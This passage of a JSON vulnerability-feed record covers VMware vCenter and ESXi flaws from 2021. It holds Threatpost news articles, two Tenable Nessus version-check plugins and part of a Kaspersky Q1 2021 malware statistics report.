on**** **[**Wed, June 9 at 2:00 PM EDT**](<https://threatpost.com/webinars/take-a-walk-on-the-darkside/?utm_source=ART&utm_medium=ART&utm_campaign=June_ImmersiveLabs_Webinar>)**. Sponsored by Immersive Labs, find out whether you have the tools and skills to prevent a Colonial Pipeline-style attack on your organization. Questions and LIVE audience participation encouraged. Join the discussion and **[**Register HERE**](<https://threatpost.com/webinars/take-a-walk-on-the-darkside/?utm_source=ART&utm_medium=ART&utm_campaign=June_ImmersiveLabs_Webinar>)** ****for free.**\n", "modified": "2021-05-26T19:45:50", "published": "2021-05-26T19:45:50", "id": "THREATPOST:DAA85537BDD9022F1F98B328EFF7B7B9", "href": "https://threatpost.com/vmware-ransomware-alarm-critical-bug/166501/", "type": "threatpost", "title": "VMware Sounds Ransomware Alarm Over Critical Severity Bug", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-02-25T02:52:39", "bulletinFamily": "info", "cvelist": ["CVE-2019-19781", "CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974"], "description": "[](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)\n\nClick to Register\n\nVMware has patched three vulnerabilities in its virtual-machine infrastructure for data centers, the most serious of which is a remote code execution (RCE) flaw in its vCenter Server management platform. The vulnerability could allow attackers to breach the external perimeter of an enterprise data center or leverage backdoors already installed on a system to find other vulnerable points of network entry to take over affected systems.\n\nPositive Technologies researcher Mikhail Klyuchnikov discovered two of the flaws in vCenter Server, the centralized management and automation platform for VMware\u2019s vSphere virtualization platform, which\u2014given VMware\u2019s dominant position in the market\u2014is used by the majority of enterprise data centers. Among its duties, vCenter Server manages virtual machines, multiple ESXi hypervisor hosts and other various dependent components from a central management dashboard.\n\n## **Where the VMware Flaws Were Found, What\u2019s Effected? **\n\nThe researcher found the most critical of the flaws, which is being tracked as [CVE-2021-21972](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21972>) and has a CVSS v3 score of 9.8, in a vCenter Server plugin for vROPs in the vSphere Client functionality, according to [an advisory](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) posted online Tuesday by VMware.\n\n\u201cA malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server,\u201d the company said.\n\nThe plugin is available in all default installations\u2014potentially giving attackers a wide attack surface\u2013and vROPs need not be present to have this endpoint available, according to VMware.\n\nThe main threat in terms of exploiting the vulnerability comes from insiders who have penetrated the protection of the network perimeter using other methods\u2013such as social engineering or web vulnerabilities\u2013or have access to the internal network using previously installed backdoors, according to Positive Technologies.\n\nKlyuchnikov said the VMware flaw poses \u201cno less threat\u201d than a notoriously easy-to-exploit[ Citrix RCE vulnerability](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>), [CVE-2019-19781](<https://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiOm6_Z4rnuAhWwlosKHTPHARo4ChAWMAJ6BAgLEAI&url=https://www.forbes.com/sites/daveywinder/2020/01/25/critical-security-warning-as-shitrix-hackers-ramp-up-critical-citrix-vulnerability-cve201919781-attacks/&usg=AOvVaw2MEaqcCGRpYlOcxC-Bey_j>), which was discovered two years ago affecting more than 25,000 servers globally. It is especially dangerous because \u201cit can be used by any unauthorized user,\u201d he said.\n\n\u201cThe error allows an unauthorized user to send a specially crafted request, which will later give them the opportunity to execute arbitrary commands on the server,\u201d Klyuchnikov explained. \u201cAfter receiving such an opportunity, the attacker can develop this attack, successfully move through the corporate network, and gain access to the data stored in the attacked system, such as information about virtual machines and system users.\u201d\n\n## How is CVE-2021-21972 Exploited?\n\nIn the case in which vulnerable software can be accessed from the internet, an external attacker can break into a company\u2019s external perimeter and also gain access to sensitive data, he added. This scenario is highly likely based on previous pentests executed by Positive Technologies, which allowed researchers to breach the network perimeter and gain access to local network resources in 93 percent of companies, according to the company.\n\nAnother flaw patched by VMware in the update also has potential for remote code execution and affects the hypervisor [VMware ESXi](<https://threatpost.com/vmware-critical-flaw-esxi-hypervisor/161457/>) , the company said. [CVE-2021-21974](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21974>), with a CVSSv3 base score of 8.9. is a heap-overflow vulnerability in the OpenSLP component as used in an ESXi host.\n\nA threat actor who\u2019s already inside the same network segment as an ESXi host and has access to port 427 can use the vulnerability to trigger the heap-overflow issue in the OpenSLP service, resulting in remote code execution, according to VMware.\n\nThe other flaw Klyuchnikov discovered\u2014tracked as [CVE-2021-21973](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21973>) and the least serious of the three\u2013is a Server Side Request Forgery (SSRF) vulnerability due to improper validation of URLs in a vCenter Server plugin with a CVSS score of 5.3, according to VMWare. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure,\u201d the company said.\n\nUnauthorized users can use the flaw to send requests as the targeted server to help threat actors develop further attacks. Used in combination with the other vulnerabilities, attackers could leverage it to scan the company\u2019s internal network and obtain information about the open ports of various services, Klyuchnikov said.\n\n## What VMware is Recommending for a Fix to the Data Center Bugs?\n\nVMware advised customers to install all updates provided to affected deployments to remediate the threat the vulnerabilities pose. The company also provided workarounds for those who can\u2019t immediately update their systems.\n\nPositive Technologies also recommended that companies affected who have vCenter Server interfaces on the perimeter of their organizations remove them, and also allocate the interfaces to a separate VLAN with a limited access list in the internal network, the company said.\n\n**_Is your small- to medium-sized business an easy mark for attackers?_**\n\n**Threatpost WEBINAR:** _ Save your spot for \u201c_**15 Cybersecurity Gaffes SMBs Make**_,\u201d a _[**_FREE Threatpost webinar_**](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)** _on Feb. 24 at 2 p.m. ET._**_ Cybercriminals count on you making these mistakes, but our experts will help you lock down your small- to mid-sized business like it was a Fortune 100. _[_Register NOW_](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)_ for this **LIVE **webinar on Wed., Feb. 24._\n", "modified": "2021-02-24T17:14:55", "published": "2021-02-24T17:14:55", "id": "THREATPOST:2243706D17F2A1E930A00F49D8E30720", "href": "https://threatpost.com/vmware-patches-critical-rce-flaw-in-vcenter-server/164240/", "type": "threatpost", "title": "VMWare Patches Critical RCE Flaw in vCenter Server", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2021-05-29T05:10:13", "description": "The version of VMware vCenter Server installed on the remote host is 6.5 prior to 6.5 U3p, 6.7 prior to 6.7 U3n or 7.0\nprior to 7.0 U2b. It is, therefore, affected by multiple vulnerabilities:\n\n - The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the\n Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network\n access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying\n operating system that hosts vCenter Server. (CVE-2021-21985)\n\n - The vSphere Client (HTML5) contains a vulnerability in a vSphere authentication mechanism for the Virtual SAN\n Health Check, Site Recovery, vSphere Lifecycle Manager, and VMware Cloud Director Availability plug-ins. A\n malicious actor with network access to port 443 on vCenter Server may perform actions allowed by the impacted\n plug-ins without authentication. (CVE-2021-21986)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version \nnumber. Nessus has also not tested for the presence of a workaround.", "edition": 3, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-05-25T00:00:00", "title": "VMware vCenter Server 6.5 / 6.7 / 7.0 Multiple Vulnerabilities (VMSA-2021-0010)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2021-21985", "CVE-2021-21986"], "modified": "2021-05-25T00:00:00", "cpe": ["cpe:/a:vmware:vcenter_server"], "id": "VMWARE_VCENTER_VMSA-2021-0010.NASL", "href": "https://www.tenable.com/plugins/nessus/149902", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(149902);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/05/28\");\n\n script_cve_id(\"CVE-2021-21985\", \"CVE-2021-21986\");\n script_xref(name:\"IAVA\", value:\"2021-A-0254\");\n\n script_name(english:\"VMware vCenter Server 6.5 / 6.7 / 7.0 Multiple Vulnerabilities (VMSA-2021-0010)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A virtualization management application installed on the remote host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of VMware vCenter Server installed on the remote host is 6.5 prior to 6.5 U3p, 6.7 prior to 6.7 U3n or 7.0\nprior to 7.0 U2b. It is, therefore, affected by multiple vulnerabilities:\n\n - The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the\n Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network\n access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying\n operating system that hosts vCenter Server. (CVE-2021-21985)\n\n - The vSphere Client (HTML5) contains a vulnerability in a vSphere authentication mechanism for the Virtual SAN\n Health Check, Site Recovery, vSphere Lifecycle Manager, and VMware Cloud Director Availability plug-ins. A\n malicious actor with network access to port 443 on vCenter Server may perform actions allowed by the impacted\n plug-ins without authentication. (CVE-2021-21986)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version \nnumber. Nessus has also not tested for the presence of a workaround.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.vmware.com/security/advisories/VMSA-2021-0010.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://blogs.vmware.com/vsphere/2021/05/vmsa-2021-0010.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to VMware vCenter Server 6.5 U3p, 6.7 U3n, 7.0 U2b or later or apply the workaround mentioned in the advisory.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-21985\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/05/25\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/05/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/05/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:vmware:vcenter_server\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"vmware_vcenter_detect.nbin\");\n script_require_keys(\"Host/VMware/vCenter\", \"Host/VMware/version\", \"Host/VMware/release\");\n script_require_ports(\"Services/www\", 80, 443);\n\n exit(0);\n}\n\nfixes = make_array(\n '6.5', '17994927', # 6.5 U3p\n '6.7', '17713311', # using the VAMI/Release notes build of 6.7 U3m (the previous release) + 1 here\n '7.0', '17958471' # 7.0 U2b\n);\n\nport = get_kb_item_or_exit('Host/VMware/vCenter');\nversion = get_kb_item_or_exit('Host/VMware/version');\nrelease = get_kb_item_or_exit('Host/VMware/release');\n\n# Extract and verify the build number\nbuild = ereg_replace(pattern:\"^VMware vCenter Server [0-9\\\\.]+ build-([0-9]+)$\", string:release, replace:\"\\1\");\nif (build !~ \"^[0-9]+$\") audit(AUDIT_UNKNOWN_BUILD, 'VMware vCenter 6.5 / 6.7 / 7.0');\n\nmatch = pregmatch(pattern:\"^VMware vCenter ([0-9]+\\.[0-9]+).*$\", string:version);\nif (isnull(match)) audit(AUDIT_OS_NOT, 'VMware vCenter 6.5 / 6.7 / 7.0');\n\nver = match[1];\nif (ver !~ \"^(7\\.0|6\\.(5|7))$\") audit(AUDIT_OS_NOT, 'VMware vCenter 6.5 / 6.7 / 7.0');\n\nfixed_build = int(fixes[ver]);\nif (empty_or_null(fixed_build)) audit(AUDIT_VER_FORMAT, ver);\n\nrelease = release - 'VMware vCenter Server ';\nif (build >= fixed_build)\n audit(AUDIT_LISTEN_NOT_VULN, 'VMware vCenter', port, release);\n\nreport = '\\n VMware vCenter version : ' + ver +\n '\\n Installed build : ' + build +\n '\\n Fixed build : ' + fixed_build +\n '\\n';\n\nsecurity_report_v4(port:port, severity:SECURITY_HOLE, extra:report);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-10T15:50:41", "description": "The version of VMware vCenter Server installed on the remote host is 6.5 prior to 6.5 U3n, 6.7 prior to 6.7 U3l or 7.0\nprior to 7.0 U1c. It is, therefore, affected by multiple vulnerabilities, as follows:\n\n - The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious\n actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the\n underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7\n before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).\n (CVE-2021-21972)\n\n - The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation\n of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by\n sending a POST request to vCenter Server plugin leading to information disclosure. This affects: VMware vCenter\n Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2\n and 3.x before 3.10.1.2). (CVE-2021-21973)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version \nnumber. Nessus has also not tested for the presence of a workaround.", "edition": 6, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-02-25T00:00:00", "title": "VMware vCenter Server 6.5 / 6.7 / 7.0 Multiple Vulnerabilities (VMSA-2021-0002)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2021-21973", "CVE-2021-21972"], "modified": "2021-02-25T00:00:00", "cpe": ["cpe:/a:vmware:vcenter_server"], "id": "VMWARE_VCENTER_VMSA-2021-0002.NASL", "href": "https://www.tenable.com/plugins/nessus/146826", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(146826);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/09\");\n\n script_cve_id(\"CVE-2021-21972\", \"CVE-2021-21973\");\n script_xref(name:\"IAVA\", value:\"2021-A-0109\");\n\n script_name(english:\"VMware vCenter Server 6.5 / 6.7 / 7.0 Multiple Vulnerabilities (VMSA-2021-0002)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A virtualization management application installed on the remote host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of VMware vCenter Server installed on the remote host is 6.5 prior to 6.5 U3n, 6.7 prior to 6.7 U3l or 7.0\nprior to 7.0 U1c. It is, therefore, affected by multiple vulnerabilities, as follows:\n\n - The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious\n actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the\n underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7\n before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).\n (CVE-2021-21972)\n\n - The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation\n of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by\n sending a POST request to vCenter Server plugin leading to information disclosure. This affects: VMware vCenter\n Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2\n and 3.x before 3.10.1.2). (CVE-2021-21973)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version \nnumber. Nessus has also not tested for the presence of a workaround.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.vmware.com/security/advisories/VMSA-2021-0002.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to VMware vCenter Server 6.5 U3n, 6.7 U3l, 7.0 U1c or later or apply the workaround mentioned in the advisory.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-21972\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'VMware vCenter Server Unauthenticated OVA File Upload RCE');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/02/23\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/02/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/02/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:vmware:vcenter_server\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"vmware_vcenter_detect.nbin\");\n script_require_keys(\"Host/VMware/vCenter\", \"Host/VMware/version\", \"Host/VMware/release\");\n script_require_ports(\"Services/www\", 80, 443);\n\n exit(0);\n}\n\nfixes = make_array(\n '6.5', '17590285', # 6.5 U3n\n '6.7', '17137232', # Lower version for 6.7 U3l from https://kb.vmware.com/s/article/2143838\n '7.0', '17327517' # 7.0 U1c\n);\n\nport = get_kb_item_or_exit('Host/VMware/vCenter');\nversion = get_kb_item_or_exit('Host/VMware/version');\nrelease = get_kb_item_or_exit('Host/VMware/release');\n\n# Extract and verify the build number\nbuild = ereg_replace(pattern:\"^VMware vCenter Server [0-9\\\\.]+ build-([0-9]+)$\", string:release, replace:\"\\1\");\nif (build !~ \"^[0-9]+$\") audit(AUDIT_UNKNOWN_BUILD, 'VMware vCenter 6.5 / 6.7 / 7.0');\n\nmatch = pregmatch(pattern:\"^VMware vCenter ([0-9]+\\.[0-9]+).*$\", string:version);\nif (isnull(match)) audit(AUDIT_OS_NOT, 'VMware vCenter 6.5 / 6.7 / 7.0');\n\nver = match[1];\nif (ver !~ \"^(7\\.0|6\\.(5|7))$\") audit(AUDIT_OS_NOT, 'VMware vCenter 6.5 / 6.7 / 7.0');\n\nfixed_build = int(fixes[ver]);\nif (empty_or_null(fixed_build)) audit(AUDIT_VER_FORMAT, ver);\n\nrelease = release - 'VMware vCenter Server ';\nif (build >= fixed_build)\n audit(AUDIT_LISTEN_NOT_VULN, 'VMware vCenter', port, release);\n\nreport = '\\n VMware vCenter version : ' + ver +\n '\\n Installed build : ' + build +\n '\\n Fixed build : ' + fixed_build +\n '\\n';\n\nsecurity_report_v4(port:port, severity:SECURITY_HOLE, extra:report);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "securelist": [{"lastseen": "2021-05-31T11:03:47", "bulletinFamily": "blog", "cvelist": ["CVE-2015-2523", "CVE-2017-11882", "CVE-2018-0802", "CVE-2021-1647", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21139", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21972", "CVE-2021-24074", "CVE-2021-24086", "CVE-2021-24092", "CVE-2021-24094", "CVE-2021-25274", "CVE-2021-25275", "CVE-2021-25276", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "description": "\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to provide statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q1 2021:\n\n * Kaspersky solutions blocked 2,023,556,082 attacks launched from online resources across the globe.\n * 613,968,631 unique URLs were recognized as malicious by Web Anti-Virus components.\n * Attempts to run malware designed to steal money via online access to bank accounts were stopped on the computers of 118,099 users.\n * Ransomware attacks were defeated on the computers of 91,841 unique users.\n * Our File Anti-Virus detected 77,415,192 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nAt the end of last year, the number of users attacked by malware designed to steal money from bank accounts gradually decreased, a trend that continued in Q1 2021. This quarter, in total, Kaspersky solutions blocked the malware of such type on the computers of 118,099 unique users.\n\n_Number of unique users attacked by financial malware, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110545/01-en-malware-report-q1-2021-pc.png>))_\n\n**Attack geography**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110629/02-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 6.3 \n2 | Tajikistan | 5.3 \n3 | Afghanistan | 4.8 \n4 | Uzbekistan | 4.6 \n5 | Paraguay | 3.2 \n6 | Yemen | 2.1 \n7 | Costa Rica | 2.0 \n8 | Sudan | 2.0 \n9 | Syria | 1.5 \n10 | Venezuela | 1.4 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000). \n** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\nAs before, the most widespread family of bankers in Q1 was ZeuS/Zbot (30.8%). Second place was taken by the CliptoShuffler family (15.9%), and third by Trickster (7.5%). All in all, more than half of all attacked users encountered these families. The notorious banking Trojan Emotet (7.4%) was deprived of its infrastructure this quarter as a result of a [joint operation](<https://www.europol.europa.eu/newsroom/news/world's-most-dangerous-malware-emotet-disrupted-through-global-action>) by Europol, the FBI and other law enforcement agencies, and its share predictably collapsed.\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 30.8 \n2 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 15.9 \n3 | Trickster | Trojan.Win32.Trickster | 7.5 \n4 | Emotet | Backdoor.Win32.Emotet | 7.4 \n5 | RTM | Trojan-Banker.Win32.RTM | 6.6 \n6 | Nimnul | Virus.Win32.Nimnul | 5.1 \n7 | Nymaim | Trojan.Win32.Nymaim | 4.7 \n8 | SpyEye | Trojan-Spy.Win32.SpyEye | 3.8 \n9 | Danabot | Trojan-Banker.Win32.Danabot | 2.9 \n10 | Neurevt | Trojan.Win32.Neurevt | 2.2 \n \n_** Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n**New additions to the ransomware arsenal**\n\nLast year, the SunCrypt and RagnarLocker ransomware groups adopted new scare tactics. If the victim organization is slow to pay up, even though its files are encrypted and some of its confidential data has been stolen, the attackers additionally threaten to carry out a DDoS attack. In Q1 2021, these two groups were joined by a third, Avaddon. Besides publishing stolen data, the ransomware operators said on their website that the victim would be subjected to a DDoS attack until it reached out to them.\n\nREvil (aka Sodinokibi) is another group looking to increase its extortion leverage. In addition to DDoS attacks, it has [added](<https://twitter.com/3xp0rtblog/status/1368149692383719426>) spam and calls to clients and partners of the victim company to its toolbox.\n\n**Attacks on vulnerable Exchange servers**\n\n[Serious vulnerabilities were recently discovered](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) in the Microsoft Exchange mail server, allowing [remote code execution](<https://encyclopedia.kaspersky.com/glossary/remote-code-execution-rce/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>). Ransomware distributors wasted no time in exploiting these vulnerabilities; to date, this infection vector was seen being used by the Black Kingdom and DearCry families.\n\n**Publication of keys**\n\nThe developers of the Fonix (aka XINOF) ransomware ceased distributing their Trojan and posted the master key online for decrypting affected files. We took this key and created a [decryptor](<https://www.kaspersky.com/blog/fonix-decryptor/38646/>) that anyone can use. The developers of another strain of ransomware, Ziggy, not only [published](<https://www.bleepingcomputer.com/news/security/ziggy-ransomware-shuts-down-and-releases-victims-decryption-keys/>) the keys for all victims, but also announced their [intention](<https://www.bleepingcomputer.com/news/security/ransomware-admin-is-refunding-victims-their-ransom-payments/>) to return the money to everyone who paid up.\n\n**Law enforcement successes**\n\nLaw enforcement agencies under the US Department of Justice [seized](<https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware>) dark web resources used by NetWalker (aka Mailto) ransomware affiliates, and also brought charges against one of the alleged actors.\n\nFrench and Ukrainian law enforcers worked together to trace payments made through the Bitcoin ecosystem to Egregor ransomware distributors. The joint investigation resulted in the [arrest](<https://www.bleepingcomputer.com/news/security/egregor-ransomware-affiliates-arrested-by-ukrainian-french-police/>) of several alleged members of the Egregor gang.\n\nIn South Korea, a suspect in the GandCrab ransomware operation was [arrested](<https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-affiliate-arrested-for-phishing-attacks/>) (this family ceased active distribution back in 2019).\n\n### Number of new modifications\n\nIn Q1 2021, we detected seven new ransomware families and 4,354 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q1 2020 \u2013 Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110702/03-en-ru-es-malware-report-q1-2021-pc.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nIn Q1 2021, Kaspersky products and technologies protected 91,841 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110733/04-en-malware-report-q1-2021-pc.png>))_\n\n### Attack geography\n\n_Geography of attacks by ransomware Trojans, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110802/05-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 2.31% \n2 | Ethiopia | 0.62% \n3 | Greece | 0.49% \n4 | Pakistan | 0.49% \n5 | China | 0.48% \n6 | Tunisia | 0.44% \n7 | Afghanistan | 0.42% \n8 | Indonesia | 0.38% \n9 | Taiwan, Province of China | 0.37% \n10 | Egypt | 0.28% \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000). \n** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 19.37% \n2 | (generic verdict) | Trojan-Ransom.Win32.Gen | 12.01% \n3 | (generic verdict) | Trojan-Ransom.Win32.Phny | 9.31% \n4 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 8.45% \n5 | (generic verdict) | Trojan-Ransom.Win32.Agent | 7.36% \n6 | PolyRansom/VirLock | Trojan-Ransom.Win32.PolyRansom\n\nVirus.Win32.PolyRansom | 3.78% \n7 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 2.93% \n8 | Stop | Trojan-Ransom.Win32.Stop | 2.79% \n9 | (generic verdict) | Trojan-Ransom.Win32.Cryptor | 2.17% \n10 | REvil/Sodinokibi | Trojan-Ransom.Win32.Sodin | 1.85% \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new modifications\n\nIn Q1 2021, Kaspersky solutions detected 23,894 new modifications of miners. And though January and February passed off relatively calmly, March saw a sharp rise in the number of new modifications \u2014 more than fourfold compared to February.\n\n_Number of new miner modifications, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110831/06-en-malware-report-q1-2021-pc.png>))_\n\n### Number of users attacked by miners\n\nIn Q1, we detected attacks using miners on the computers of 432,171 unique users of Kaspersky products worldwide. Although this figure has been rising for three months, it is premature to talk about a reversal of last year&#x27;s trend, whereby the number of users attacked by miners actually fell. For now, we can tentatively assume that the growth in cryptocurrency prices, in particular bitcoin, has attracted the attention of cybercriminals and returned miners to their toolkit.\n\n_Number of unique users attacked by miners, Q1 2021 